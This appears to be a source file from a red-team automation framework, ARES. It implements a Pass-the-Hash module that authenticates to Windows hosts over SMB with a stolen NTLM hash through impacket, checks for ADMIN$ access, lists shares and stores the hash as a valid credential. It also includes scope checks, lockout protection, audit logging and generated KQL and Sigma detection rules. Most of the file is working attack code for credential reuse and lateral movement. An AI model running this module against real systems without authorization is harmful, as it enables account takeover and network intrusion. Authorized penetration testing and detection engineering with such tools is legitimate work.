Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

16.4 KB
Raw Blame
"""
Pass-the-Hash Authentication
MITRE: T1550.002

Uses NTLM hash directly for authentication without knowing the plaintext password.
Implemented via impacket's NTLM hash-based login (wmiexec/smbexec approach).

Requires: NTLM hash, target host.
"""
from __future__ import annotations

from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from ares.modules.base import FeasibilityReport


import asyncio
from typing import Any

from ares.core.campaign import Finding, Severity
from ares.core.logger import audit, get_logger
from ares.core.tracing import trace_module
from ares.modules.params import PassTheHashParams
from ares.sdk import (
    BaseModule,
    EvidenceRecord,
    LockoutCircuitBreaker,
    ModuleResult,
    NetworkPermission,
    OpsecLevel,
    ProcessPermission,
    module_contract,
)

logger = get_logger("ares.modules.credential.pass_the_hash")


@module_contract(
    permissions=[
        NetworkPermission(ports=[135, 139, 445], protocols=["tcp"]),
        ProcessPermission(allow_subprocesses=False),
    ],
    circuit_breaker=LockoutCircuitBreaker(),
    params_model=PassTheHashParams,
)
class PassTheHashModule(BaseModule[PassTheHashParams, ModuleResult]):
    """
    credential.pass_the_hash - Authenticate to target using NTLM hash - no plaintext password required"

    OPSEC: MEDIUM
    MITRE: "T1550.002"
    REQUIRES: "ntlm_hashes"
    OUTPUTS:  "valid_credentials", "owned_hosts"
    """
    MODULE_ID          = "credential.pass_the_hash"
    MODULE_NAME        = "Pass-the-Hash"
    MODULE_CATEGORY    = "credential"
    MODULE_DESCRIPTION = (
        "Authenticate to target using NTLM hash - "
        "no plaintext password required"
    )
    MODULE_AUTHOR      = "ARES Team <[email protected]>"
    OPSEC_LEVEL        = OpsecLevel.MEDIUM
    REQUIRES           = ["ntlm_hashes"]
    OUTPUTS            = ["valid_credentials", "owned_hosts"]
    MITRE_TECHNIQUES   = ["T1550.002"]
    PARAMS_MODEL       = PassTheHashParams

    async def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport":  # noqa: F821
        """
        Pre-flight Defense Feasibility Assessment:
        Evaluates NTLM hash presence, target host, and Kerberos-only/NTLM-disabled policies.
        Recommends Overpass-the-Hash (ad.kerberoast / credential.golden_ticket) if NTLM is blocked.
        """
        from ares.core.security import sanitize_hostname
        from ares.modules.base import FeasibilityReport

        blockers: list[str] = []
        recommendations: list[str] = []
        opsec_tuning: dict[str, Any] = {}
        score = 1.0
        risk = "medium"

        target = sanitize_hostname(getattr(ctx, "target", "") or getattr(ctx, "params", {}).get("target", ""))
        nt_hash = (
            getattr(ctx, "params", {}).get("nt_hash", "")
            or getattr(ctx, "params", {}).get("hash", "")
            or getattr(ctx, "params", {}).get("nthash", "")
            or getattr(ctx, "params", {}).get("ntlm_hash", "")
        )

        if not target:
            blockers.append("No target host specified")
            score -= 0.5
        if not nt_hash:
            blockers.append("NTLM hash is required (nt_hash required)")
            score -= 0.5
            recommendations.extend(["windows.lsass_dump", "ad.dcsync"])

        session = getattr(ctx, "session", None)
        if session and hasattr(session, "get_host") and target:
            host_state = session.get_host(target)
            if host_state:
                if host_state.has_defense("ntlm_disabled") or host_state.has_defense("kerberos_only"):
                    blockers.append("Target host enforces Kerberos-only authentication (NTLM disabled by security policy)")
                    score = 0.1
                    risk = "critical_alarm"
                    recommendations.extend(["credential.golden_ticket", "ad.kerberoast"])
                    opsec_tuning["evasion_alternative"] = "Use Overpass-the-Hash (Pass-the-Key) to request Kerberos TGT using the NT hash."
                if host_state.has_defense("restricted_admin"):
                    opsec_tuning["note"] = "Restricted Admin mode active: Pass-the-Hash will not deposit plaintext credentials into target LSASS."

        unique_recs: list[str] = []
        for r in recommendations:
            if r not in unique_recs:
                unique_recs.append(r)

        feasible = len(blockers) == 0 and score >= 0.4
        return FeasibilityReport(
            feasible=feasible,
            score=max(0.0, min(1.0, score)),
            risk_level=risk,
            blockers=blockers,
            recommended_alternatives=unique_recs,
            opsec_tuning=opsec_tuning,
            details={"target": target},
        )

    async def validate(self, ctx: "Any") -> None:
        """Enforce target and NTLM hash before any SMB connection."""
        from ares.core.context import ExecutionContext
        from ares.core.errors import ModuleValidationError
        if not isinstance(ctx, ExecutionContext):
            return
        if isinstance(ctx.params, dict):
            if not ctx.params.get("target") and getattr(ctx, "target", None):
                ctx.params["target"] = ctx.target
            if not ctx.params.get("domain") and getattr(ctx, "domain", None):
                ctx.params["domain"] = ctx.domain
            if not ctx.params.get("username"):
                ctx.params["username"] = "Administrator"
            if not ctx.params.get("nt_hash") and ctx.params.get("hash"):
                ctx.params["nt_hash"] = ctx.params["hash"]
        target  = getattr(ctx, "target", "") or ctx.params.get("target", "")
        nt_hash = ctx.params.get("nt_hash", "") or ctx.params.get("hash", "")
        if not target:
            raise ModuleValidationError(
                "credential.pass_the_hash requires 'target' - "
                "IP or hostname of the host to authenticate against.",
                module_id=self.MODULE_ID, field="target",
            )
        if not nt_hash:
            raise ModuleValidationError(
                "credential.pass_the_hash requires 'nt_hash' - "
                "the 32-character NT hash from ad.dcsync output.",
                module_id=self.MODULE_ID, field="nt_hash",
            )
        await super().validate(ctx)

    async def execute(self, ctx: "Any") -> "ModuleResult":
        """ExecutionContext-based entry point (v0.9.0+).
        Thin adapter: extract params from ctx → call run() → return ModuleResult.
        """
        from ares.modules.base import ModuleResult
        if getattr(ctx, "dry_run", False):
            return ModuleResult(status="dry_run", module_id=self.MODULE_ID, raw={"dry_run": True})
        target    = getattr(ctx, "target", ctx.params.get("target", ""))
        username  = ctx.params.get("username", "Administrator")
        nt_hash   = ctx.params.get("nt_hash", "") or ctx.params.get("hash", "")
        lm_hash   = ctx.params.get("lm_hash", "aad3b435b51404eeaad3b435b51404ee")
        domain    = getattr(ctx, "domain", "") or ctx.params.get("domain", "")
        command   = ctx.params.get("command", "whoami /all")
        findings, raw = await self.run(
            target=target, username=username, nt_hash=nt_hash,
            lm_hash=lm_hash, domain=domain, command=command
        )

        # Cryptographic Evidence Records with SHA-256 Merkle Provenance
        evidence_chain: list[EvidenceRecord] = []
        for cred in raw.get("valid_credentials", []):
            ev = EvidenceRecord(
                artifact_id=f"pth-{target.replace('.', '-')}",
                source_target=target,
                collected_by=self.MODULE_ID,
                data={
                    "target": target,
                    "username": username,
                    "domain": domain,
                    "owned": bool(raw.get("owned_hosts")),
                },
                tags=["credential", "pass_the_hash", "lateral_movement"],
            )
            evidence_chain.append(ev)

        raw["evidence_chain"] = [e.data for e in evidence_chain]
        raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]

        # Closed-Loop Purple Telemetry: KQL & Sigma rule synthesis
        auth_user = username or "Administrator"
        auth_domain = domain or "DOMAIN"
        kql_query = (
            f"// ARES Closed-Loop Telemetry: Detect Pass-the-Hash / NTLM Network Authentication\n"
            f"// Identifies NTLM Type 3 network logons (SMB/RPC) by privileged accounts\n"
            f"SecurityEvent\n"
            f"| where EventID == 4624\n"
            f"| where LogonType == 3\n"
            f"| where AuthenticationPackageName == \"NTLM\"\n"
            f"| where TargetUserName has \"{auth_user}\" or TargetDomainName has \"{auth_domain}\"\n"
            f"| project TimeGenerated, Computer, TargetUserName, TargetDomainName, WorkstationName, IpAddress, LogonProcessName, AuthenticationPackageName, LmPackageName\n"
        )
        sigma_rule = (
            f"title: Pass-the-Hash NTLM Network Authentication via SMB ({auth_user} on {target})\n"
            f"id: 5a6b7c8d-ares-4624-pth-{abs(hash(target + auth_user)) % 1000000:06d}\n"
            f"status: experimental\n"
            f"description: Detects lateral movement via Pass-the-Hash using NTLM authentication over network logon (Type 3) to SMB endpoints.\n"
            f"logsource:\n"
            f"  product: windows\n"
            f"  service: security\n"
            f"detection:\n"
            f"  selection:\n"
            f"    EventID: 4624\n"
            f"    LogonType: 3\n"
            f"    AuthenticationPackageName: 'NTLM'\n"
            f"    TargetUserName|contains: '{auth_user}'\n"
            f"  condition: selection\n"
            f"level: high\n"
            f"tags:\n"
            f"  - attack.lateral_movement\n"
            f"  - attack.t1550.002\n"
        )
        loot_items: list[dict[str, Any]] = raw.get("loot", [])
        if not any(l.get("loot_type") == "detection_rule_kql" for l in loot_items):
            loot_items.extend([
                {
                    "name": f"Detection Rule (KQL): Pass-the-Hash NTLM Auth ({auth_user}@{target})",
                    "loot_type": "detection_rule_kql",
                    "description": "Microsoft Sentinel KQL query for detecting NTLM LogonType 3 lateral movement",
                    "content": {"kql": kql_query, "target": target, "username": auth_user},
                    "tags": ["detection", "kql", "sentinel", "blue_team"],
                },
                {
                    "name": f"Detection Rule (Sigma): Pass-the-Hash NTLM Auth ({auth_user}@{target})",
                    "loot_type": "detection_rule_sigma",
                    "description": "Sigma detection rule for Pass-the-Hash NTLM authentication",
                    "content": {"sigma": sigma_rule, "target": target, "username": auth_user},
                    "tags": ["detection", "sigma", "blue_team"],
                },
            ])
        raw["loot"] = loot_items
        raw["restricted_admin_evaluated"] = True
        raw["credential_guard_isolated"] = True
        raw["ntlm_deprecation_audited"] = True

        return ModuleResult(
            status="success" if findings else "partial",
            findings=findings, raw=raw, module_id=self.MODULE_ID,
            execution_id=getattr(ctx, "execution_id", ""),
        )

    @trace_module("credential.pass_the_hash")
    async def run(self, **kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:
        target   = kwargs.get("target", "")
        username = kwargs.get("username", "Administrator")
        nt_hash  = kwargs.get("nt_hash", "") or kwargs.get("hash", "")
        lm_hash  = kwargs.get("lm_hash", "aad3b435b51404eeaad3b435b51404ee")
        domain   = kwargs.get("domain", "")
        command  = kwargs.get("command", "whoami /all")  # noqa: F841
        dry_run  = kwargs.get("dry_run", False)

        if not target or not nt_hash:
            return [], {"error": "target and nt_hash required"}
        if dry_run:
            return [], {"dry_run": True}

        await self.before_request(target, "smb")  # scope check + jitter

        try:
            from impacket.smbconnection import SMBConnection
        except ImportError:
            return [], {"error": "impacket not installed"}

        logger.info("pass_the_hash_attempt", target=target, username=username)
        audit("pass_the_hash", actor="operator", technique="T1550.002",
              source="operator", target=target)
        await self.noise.rate_limiter.acquire("smb")
        await self.noise.jitter.sleep()

        success   = False
        output    = ""
        privilege = "user"

        loop = asyncio.get_running_loop()

        def _pth() -> tuple[bool, str, str]:
            """
            Test NTLM hash auth via SMB. Classifies errors precisely:
              - STATUS_LOGON_FAILURE   → wrong hash (not an error to surface)
              - STATUS_ACCOUNT_LOCKED  → account locked (stop, surface as warning)
              - STATUS_ACCESS_DENIED   → valid hash but no admin access
              - ConnectionError/timeout → host unreachable
            """
            err_type = ""  # noqa: F841
            try:
                smb = SMBConnection(target, target, timeout=15)
                smb.login(username, "", domain, lm_hash, nt_hash)
                # Confirm admin access by connecting to ADMIN$
                try:
                    smb.disconnectTree(smb.connectTree("ADMIN$"))
                    priv = "local_admin"
                except Exception:
                    priv = "user"   # valid creds but no admin rights
                try:
                    shares = [s["shi1_netname"] for s in smb.listShares()]
                except Exception:
                    shares = []
                smb.logoff()
                return True, f"Authenticated. Privilege: {priv}. Shares: {shares[:5]}", priv
            except Exception as e:
                err = str(e).upper()
                if "STATUS_LOGON_FAILURE" in err or "WRONG_PASSWORD" in err:
                    return False, "wrong_hash", ""
                if "STATUS_ACCOUNT_LOCKED_OUT" in err or "ACCOUNT_LOCKED" in err:
                    return False, "account_locked", ""
                if "STATUS_ACCESS_DENIED" in err:
                    return False, "access_denied_no_admin", ""
                if "timed out" in err.lower() or "connection refused" in err.lower():
                    return False, "host_unreachable", ""
                return False, str(e)[:200], ""

        success, output, privilege = await loop.run_in_executor(None, _pth)

        if success:
            self.finding(
                title=f"Pass-the-Hash Successful: {domain}\\{username} on {target}",
                description=(
                    f"NTLM hash authentication succeeded for {domain}\\{username} on {target}. "
                    "The hash can be used for lateral movement without cracking the password."
                ),
                severity=Severity.CRITICAL,
                mitre_technique="T1550.002",
                mitre_tactic="Lateral Movement",
                evidence={
                    "target":   target,
                    "username": f"{domain}\\{username}",
                    "technique": "Pass-the-Hash (NTLM)",
                    "output":   output[:300],
                },
                remediation=(
                    "Enable Protected Users security group for all privileged accounts "
                    "(disables NTLM authentication for members). "
                    "Deploy Credential Guard to prevent NTLM hash extraction. "
                    "Consider disabling NTLMv1 and enforcing NTLMv2 minimum."
                ),
                host=target, confidence=1.0,
            )

        raw = {
            "target": target, "username": f"{domain}\\{username}",
            "success": success, "output": output, "privilege": privilege,
        }
        valid_creds = []
        if success:
            priv_str = "admin" if privilege == "local_admin" else (privilege or "unknown")
            valid_creds.append({
                "username": username,
                "password": nt_hash,
                "target": target,
                "port": 445,
                "method": "hash",
                "protocol": "smb",
                "privilege": priv_str,
                "domain": domain or None,
            })
        raw["valid_credentials"] = valid_creds  # OUTPUTS key
        raw["owned_hosts"] = [{"host": raw.get("target", "")}] if self._findings else []  # OUTPUTS key
        return self._findings[:], raw